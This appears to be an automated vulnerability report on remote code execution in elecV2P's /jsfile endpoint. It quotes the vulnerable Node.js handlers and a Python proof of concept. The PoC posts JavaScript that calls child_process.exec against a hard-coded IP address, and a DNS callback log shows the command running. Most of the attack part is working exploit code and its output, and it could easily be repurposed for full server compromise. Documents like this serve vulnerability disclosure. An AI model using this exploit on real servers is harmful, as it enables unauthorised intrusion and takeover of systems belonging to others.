Remote Code Execution (RCE) vulnerability in elecV2P via the /jsfile endpoint. When type=totest, user-supplied jscontent is passed to runJSFile() which executes arbitrary JavaScript code. The sJson function's unsafe use of new Function("return " + str) enables code injection. Attackers can execute system commands via process.mainModule.require('child_process').exec(), achieving full server compromise. DNS callback confirms successful command execution.
// source-code/elecV2P-master/webser/wbjs.js#L105C23-L161C4
105→ app.post('/jsfile', (req, res) => {
106→ let jsname = req.body.jsname
107→ let jscontent = req.body.jscontent
108→ clog.info((req.headers['x-forwarded-for'] || req.connection.remoteAddress), 'post', jsname, req.body.type || 'to save')
109→ if (!jsname) {
110→ return res.json({
111→ rescode: -1,
112→ message: 'a name of js is expect'
113→ })
114→ }
115→ switch (req.body.type) {
116→ case 'torun':
117→ runJSFile(jsname, {
118→ from: 'jsmanage',
119→ env: {
120→ wsid: req.body.id
121→ },
122→ cb: wsSer.send.func('jsmanage', req.body.id),
123→ timeout: 5000
124→ }).then(data => {
125→ res.send(sbufBody(data))
126→ }).catch(error => {
127→ res.send('error: ' + error)
128→ clog.error(errStack(error))
129→ })
130→ break
131→ case 'totest':
132→ runJSFile(jscontent, {
133→ type: 'rawcode',
134→ filename: jsname.replace(/\.(js|efh)$/, '-test.$1'),
135→ from: 'test',
136→ env: {
137→ wsid: req.body.id
138→ },
139→ cb: wsSer.send.func('jsmanage', req.body.id),
140→ timeout: 5000
141→ }).then(data => {
142→ res.send(sbufBody(data))
143→ }).catch(error => {
144→ res.send('error: ' + error)
145→ clog.error(errStack(error))
146→ })
147→ break
148→ default:
149→ if (Jsfile.put(jsname, jscontent)) {
150→ res.json({
151→ rescode: 0,
152→ message: `${jsname} success saved`
153→ })
154→ } else {
155→ res.json({
156→ rescode: -1,
157→ message: `${jsname} fail to save`
158→ })
159→ }
160→ }
161→ })
// source-code/elecV2P-master/utils/string.js#L27C1-L65C2
27→function sJson(str, force = false) {
28→ if (!str) {
29→ return force ? Object.create(null) : false
30→ }
31→ let type = sType(str)
32→ switch (type) {
33→ case 'array':
34→ case 'object':
35→ return str
36→ case 'buffer':
37→ return str.toJSON()
38→ case 'set':
39→ return Array.from(str)
40→ case 'map':
41→ return Array.from(str).reduce((obj, [key, value]) => {
42→ obj[key] = typeof(value) === 'object' ? sJson(value) : value
43→ return obj
44→ }, {})
45→ }
46→ try {
47→ let jobj = JSON.parse(str)
48→ if (typeof(jobj) === 'object') {
49→ return jobj
50→ }
51→ } catch (e) {
52→ try {
53→ let obj = (new Function("return " + str))();
54→ if (/^(object|array)$/.test(sType(obj))) {
55→ return obj
56→ }
57→ } catch (e) {}
58→ }
59→ if (force) {
60→ return {
61→ 0: str
62→ }
63→ }
64→ return false
65→}
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/jsfile', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
# Define the target URL and endpoint
target_url = "http://34.127.19.15:42863/jsfile"
# Prepare the payload with the malicious code
payload = {
"jsname": "test.js", # Required parameter
"jscontent": "process.mainModule.require('child_process').exec('ping -c 4 $domain')", # Malicious code to be injected
"type": "totest", # Triggering condition
"id": "test_id" # Required parameter
}
# Send the POST request to the target
response = requests.post(
target_url,
data=payload,
verify=False,
allow_redirects=False,
timeout=30.0
)
# Print the results
print("Status Code:", response.status_code)
print("Response Text:", response.text)
# ********************************** Poc End ***********************************
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 74.125.80.18, 74.125.80.16, 74.125.186.81, 69.28.61.221, 69.28.61.220, 69.28.61.220, 69.28.61.221, 74.125.80.19, 69.28.61.220, 74.125.80.28
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Summary
Remote Code Execution (RCE) vulnerability in elecV2P via the /jsfile endpoint. When type=totest, user-supplied jscontent is passed to runJSFile() which executes arbitrary JavaScript code. The sJson function's unsafe use of new Function("return " + str) enables code injection. Attackers can execute system commands via process.mainModule.require('child_process').exec(), achieving full server compromise. DNS callback confirms successful command execution.
Details
POC